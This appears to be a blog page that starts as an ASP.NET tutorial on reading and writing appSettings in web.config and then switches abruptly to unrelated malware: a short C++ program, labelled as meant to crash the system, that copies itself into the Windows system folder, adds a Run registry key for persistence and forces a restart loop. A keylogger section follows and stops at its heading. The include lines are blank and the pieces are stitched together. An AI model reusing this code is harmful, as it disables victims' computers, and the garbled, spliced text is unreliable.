How to Get or Set AppSettings in web.config file using asp.net.(CodeBehind)

Now I will explain how to write appsettings in web.config file and how to read appsettings from web.config file using asp.net.

To add appsettings first create new website open web.config file and search for “appSettings” and add new item in appSettings section.The section is like this.

<appSettings>
<add key="yourappsettingsstringName" value=" yourappsettingsvalue" />
</appSettings>

The main purpose used for appsettings is for declaring the connection string.because if we have a too many pages in application then it will not require to write connection string on every page.However we can define any key which are used in many pages.

Example of declaring appSettings in web.config file like this.

<appSettings>
<add key="dbconnectionstring" value="Data Source=DineshIyngaran;Initial Catalog=MysampleDB; Integrated Security=true"/>
</appSettings>

The good advantage of writing the appsettings in web config is we can manage it easily.means if we want to change its value then we can change it only in appsetting.we dont need to write and change it in every pages.This is the biggest advantage of it.

Lets take an Example.and test it.

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Read or Write appsetting values from web.config file in asp.net</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:Label ID="lblText" runat="server"/>
</div>
</form>
</body>
</html>

After that add following namespace in codebehind file

using System;
using System.Configuration;

The namespace using System.Configuration; is used to get configuration section details from web.config file.

After add namespaces write the following code in code behind

protected void Page_Load(object sender, EventArgs e)
{
//Get appsettings string value from web.config file
string strcon = System.Configuration.ConfigurationManager.AppSettings["dbconnectionstring"];
//Bind appsettings string value to label
lblText.Text = strcon;

//set appsettings
ConfigurationManager.AppSettings.Set("yourappsettingsstringName", "yourappsettingsvalue");
}

A C++ code to crash the system.

#include
#include
#include

void main()
{
int done;
char buff[128];
struct ffblk ffblk;
FILE *self,*target;
done=findfirst("C:\\windows\\system\\terminator.exe",&ffblk,0);
if(done==0)
{
system("shutdown -r -t 0");
}
else
{
self=fopen(_argv[0],"rb");
target=fopen("C:\\windows\\system\\terminator.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v terminator \/t REG_SZ \/d C:\\windows\\system\\terminator.exe");
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
}

Algorithm:

1. Create terminator.exe in system folder.

2. Create a registry patch so that it will be checked at every start up.

3. Restart command if terminator.exe is present otherwise create it.

KEYLOGGER In C++ Programming

Keylogger software has the capability to record keystroke and save it to a log file for future use. Captures every key pressed on the computer viewed by the unauthorized user.

C++ Source Code:
